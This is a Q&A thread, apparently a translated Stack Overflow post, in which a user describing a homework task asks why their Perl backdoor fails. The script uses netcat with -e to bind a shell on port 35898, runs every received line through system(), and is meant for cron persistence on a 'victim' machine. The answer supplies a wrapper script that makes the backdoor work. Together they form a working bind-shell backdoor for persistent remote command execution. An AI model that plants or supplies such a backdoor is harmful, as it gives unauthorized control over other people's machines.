-1

我们被要求在受害机器上设置后门来完成家庭作业。我已经获得了对机器的访问权限,并且我希望在 a 上运行以下脚本cron,但它会引发错误。

@ARGV我已经通过使用和不使用虚拟参数独立调用程序来验证测试是否正常工作run,但是当我在初始化脚本后尝试netcat进入受害者机器时port 35898,以下错误是我在连接时得到的所有错误。

错误: exec /bin/vshell run failed : No such file or directory

显然程序存在是因为程序在调用自己。

代码:

#!/usr/bin/perl -w

$| = 1;
my $prompt = '$ ';

# run is just a dummy arg
if(!@ARGV){ exec("nc -e '/bin/vshell run' -l -p 35898"); die; }

while(1){
  print $prompt;
  eval {
    local $SIG{ALRM} = sub { die 'Goodbye!\n'; };

    alarm 60;
    &syscall;
    alarm 0;
  };
  if( $@ ){ die; }
}

sub syscall{
  if( defined( $_ = <STDIN> )){
    chomp;
    system( $_ );
  }
}

我已经有一段时间了,我真的可以朝正确的方向轻推。谢谢!

PS:这个安装nc是用允许-e标志的安全漏洞编译的,我已经在其他程序上验证了这个功能。

4

1 回答 1

3

" /bin/vshell" 可能存在,但 " /bin/vshell run" 不存在。显然,nc-e值必须是要执行的文件的路径。

创建一个包含

#!/bin/sh
exec /bin/vshell run

并将路径传递给它。

于 2012-10-25T03:51:32.383 回答